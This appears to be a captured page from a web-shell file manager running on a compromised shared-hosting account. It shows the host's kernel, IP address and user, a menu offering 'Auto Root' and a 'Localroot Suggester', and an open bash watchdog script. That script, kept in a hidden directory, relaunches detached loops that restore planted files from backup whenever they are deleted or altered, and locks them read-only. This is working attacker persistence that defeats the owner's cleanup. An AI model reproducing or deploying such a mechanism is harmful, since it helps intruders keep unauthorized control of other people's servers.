Linux premium312.web-hosting.com 4.18.0-553.16.1.lve.1.el8.x86_64 #1 SMP Mon Sep 23 20:16:18 UTC 2024 x86_64
LiteSpeed
Server IP : 162.254.39.59 & Your IP : 216.73.217.8
Domains :
Cant Read [ /etc/named.conf ]
User : vpnsjail
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
vpnsjail /
.cagefs /
tmp /
.file_protector /
Delete
Unzip
Name
Size
Permission
Date
Action
cron_jobs.list
143
B
-rw-r--r--
2026-04-07 03:17
file_7ce63deb.checksum
32
B
-rw-r--r--
2026-04-07 03:18
pids.list
180
B
-rw-r--r--
2026-04-07 03:20
protect_file_7ce63deb.sh
1.72
KB
-rwxr-xr-x
2026-04-07 03:17
protected.list
54
B
-rw-r--r--
2026-04-07 03:17
watchdog.pid
8
B
-rw-r--r--
2026-04-25 13:15
watchdog.pid
8
B
-rw-r--r--
2026-04-25 13:15
watchdog.sh
3.42
KB
-rwxr-xr-x
2026-04-07 03:22
Save
Rename
#!/bin/bash PID_FILE="/var/tmp/.file_protector/pids.list" PROTECTED_FILES="/var/tmp/.file_protector/protected.list" CONFIG_DIR="/var/tmp/.file_protector" BACKUP_DIR="/var/tmp/.file_protector_backups" LOG_FILE="/var/tmp/.file_protector.log" WATCHDOG_PID_FILE="/var/tmp/.file_protector/watchdog.pid" echo $$ > "$WATCHDOG_PID_FILE" echo "$(date '+%Y-%m-%d %H:%M:%S') [WATCHDOG] Daemon started (PID: $$)" >> "$LOG_FILE" while true; do sleep 15 [ ! -s "$PROTECTED_FILES" ] && continue while IFS= read -r file_path; do [ -z "$file_path" ] && continue pid_line=$(grep ":$file_path:" "$PID_FILE" 2>/dev/null | head -1) [ -z "$pid_line" ] && continue old_pid=$(echo "$pid_line" | cut -d: -f1) script_path=$(echo "$pid_line" | cut -d: -f6) if ! ps -p "$old_pid" >/dev/null 2>&1; then file_id="file_$(echo "$file_path" | md5sum | cut -c1-8)" last_good_backup="$BACKUP_DIR/${file_id}.lastgood" checksum_file="$CONFIG_DIR/${file_id}.checksum" if [ ! -f "$script_path" ] && [ -f "$last_good_backup" ]; then script_path="$CONFIG_DIR/protect_${file_id}.sh" cat > "$script_path" << 'INNER_EOF' #!/bin/bash PROTECT_FILE="PLACEHOLDER_FILE" LAST_GOOD_BACKUP="PLACEHOLDER_BACKUP" CHECKSUM_FILE="PLACEHOLDER_CHECKSUM" LOG_FILE="PLACEHOLDER_LOG" verify_restore() { local target="$1" src="$2" reason="$3" local dir_path; dir_path=$(dirname "$target") echo "$(date '+%Y-%m-%d %H:%M:%S') [RESTORE] $reason" >> "$LOG_FILE" [ ! -d "$dir_path" ] && mkdir -p "$dir_path" 2>/dev/null cp -p "$src" "$target" 2>/dev/null chmod 444 "$target" 2>/dev/null if [ -f "$target" ] && [ "$(stat -c %s "$target" 2>/dev/null)" -gt 0 ]; then md5sum "$target" 2>/dev/null | cut -d' ' -f1 > "$CHECKSUM_FILE" fi } while true; do sleep 7 [ ! -e "$PROTECT_FILE" ] && { verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "file_deleted"; continue; } current_perm=$(stat -c %a "$PROTECT_FILE" 2>/dev/null) [[ ! "$current_perm" =~ ^(444|400)$ ]] && chmod 444 "$PROTECT_FILE" 2>/dev/null if [ -f "$CHECKSUM_FILE" ]; then cc=$(md5sum "$PROTECT_FILE" 2>/dev/null | cut -d' ' -f1) sc=$(cat "$CHECKSUM_FILE" 2>/dev/null) [ "$cc" != "$sc" ] && verify_restore "$PROTECT_FILE" "$LAST_GOOD_BACKUP" "content_modified" fi done INNER_EOF sed -i "s|PLACEHOLDER_FILE|$file_path|g" "$script_path" sed -i "s|PLACEHOLDER_BACKUP|$last_good_backup|g" "$script_path" sed -i "s|PLACEHOLDER_CHECKSUM|$checksum_file|g" "$script_path" sed -i "s|PLACEHOLDER_LOG|$LOG_FILE|g" "$script_path" chmod +x "$script_path" fi [ ! -f "$script_path" ] && continue if command -v setsid >/dev/null 2>&1; then nohup setsid bash "$script_path" >/dev/null 2>&1 & else nohup bash "$script_path" >/dev/null 2>&1 & fi new_pid=$! disown $new_pid 2>/dev/null sed -i "|$file_path|d" "$PID_FILE" 2>/dev/null echo "$new_pid:$file_path::$(echo "$pid_line" | cut -d: -f4):bash_loop:$script_path" >> "$PID_FILE" echo "$(date '+%Y-%m-%d %H:%M:%S') [WATCHDOG] Restarted: $file_path (old=$old_pid new=$new_pid)" >> "$LOG_FILE" fi done < "$PROTECTED_FILES" done